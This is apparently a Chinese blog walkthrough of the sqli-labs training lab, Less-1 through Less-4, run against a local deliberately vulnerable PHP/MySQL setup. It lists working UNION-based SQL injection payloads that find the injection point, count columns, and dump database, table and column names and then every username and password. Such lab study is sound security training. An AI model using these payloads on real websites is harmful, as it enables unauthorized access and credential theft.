sqli-labs之Error Based Exploitation小结
在本机虚拟机上安装Ubuntu16.04,并在其上搭建Apache+PHP+mysql环境,PHP版本要求不能高于5.6,否则会出现各种错误
Ubuntu16.04搭建教程:https://blog.csdn.net/qq_42280544/article/details/83904046
安装完成,在虚拟机Ubuntu16.04的浏览器中输入127.0.0.1/sqli-labs-master
点击Setup/reset Database for labs
建库成功!
Less-1:
首先,我们要寻找注入点:
注入地址:http://127.0.0.1/Less-1/
payload:?id=1
正常
payload:?id=1’
报错:== You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1 ==
说明存在注入点,接下来,猜测其后端sql语句
payload:?id=1\
报错 : ==You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’ LIMIT 0,1’ at line 1 ==
由以上推测出后端sql语句:select * from users where id=’ '
由于我们并不知道后端的SELECT查询有多少列,所以首要任务就是找出SELECT查询中使用的列数。为此我们要使用order by子句,order by 子句会根据查询中使用的指定列将结果集按照升序或降序排列
使用order by:
payload:?id=1’order by 4–+
少于 4 column
payload:?id=1’order by 3–+
正常爆出数据,说明只有3 column
使用UNION操作符来实现。UNION操作符用于合并两个或多个SELECT语句的结果集
使用 union select:
payload:?id=-1’ union select 1,2,3–+
显示第2列和第3列的值作为输出
接下来,使用database()函数爆数据库:
第二个查询的结果显示在屏幕上,我们必须将第一条查询的结果集置为EMPTY,所以,将id=-1’
payload:?id=-1’ union select 1,database(),3–+
爆出一个数据库名为:security
接下来,爆表:
payload:?id=-1’union select 1,table_name,3 from information_schema.tables where table_schema=database()–+
表名为:emails
group_concat()会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函
数参数(就是字段名)决定。分组必须有个标准,就是根据group by指定的列进行分组
使用group_concat(),爆出所有表:
payload:?id=-1’union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database()–+
爆users表的所有列:
payload:?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
爆users表的所有用户名:
payload:?id=-1’ union select 1,group_concat(username),3 from users–+
爆users表的所有对应密码:
payload:?id=-1’ union select 1,group_concat(password),3 from users–+
接下来的Less-2,Less-3,Less-4和以上的分析方法相同,构造payload如下:
Less-2
payload1:?id=1\
payload2:?id=1’
推出sql内部语句:select * from users where id=
payload3:?id=1 order by 4–+
payload4:?id=1 order by 3–+
payload5:?id=-1 union select 1,2,3–+
显示数据库名:
payload6:?id=-1 union select 1,database(),3–+
显示所有表:
payload7:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
显示所有列:
payload8:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’–+
显示users表内的所有用户名:
payload9: ?id=-1 union select 1,group_concat(username),3 from users–+
显示用户名对应的密码:
payload10:?id=-1 union select 1,group_concat(password),3 from users–+
Less-3
payload1:?id=1\
payload2:?id=1’
推出sql内部语句:select * from users where id=(’ ')
payload3:?id=-1’) order by 4–+
payload4:?id=-1’) order by 3–+
payload5:?id=-1’) union select 1,2,3–+
显示数据库名:
payload6:?id=-1’) union select 1,database(),3–+
显示所有表:
payload7:?id=-1’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
显示所有列:
payload8:?id=-1’) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’–+
显示users表内的所有用户名:
payload9:?id=-1’) union select 1,group_concat(username),3 from users–+
显示用户名对应的密码:
payload10:?id=-1’) union select 1,group_concat(password),3 from users–+
Less-4
payload:?id=1’
payload2:?id=1"
payload2:?id=1\
推出sql内部语句:select * from users where id=(" ")
payload3:?id=-1") order by 4–+
payload4:?id=-1") order by 3–+
payload5:?id=-1") union select 1,2,3–+
显示数据库名:
payload6:?id=-1") union select 1,database(),3–+
显示所有表:
payload7:?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
显示所有列:
payload8:?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’–+
显示users表内的所有用户名:
payload9:?id=-1") union select 1,group_concat(username),3 from users–+
显示用户名对应的密码:
payload10:?id=-1") union select 1,group_concat(password),3 from users–+
更新中…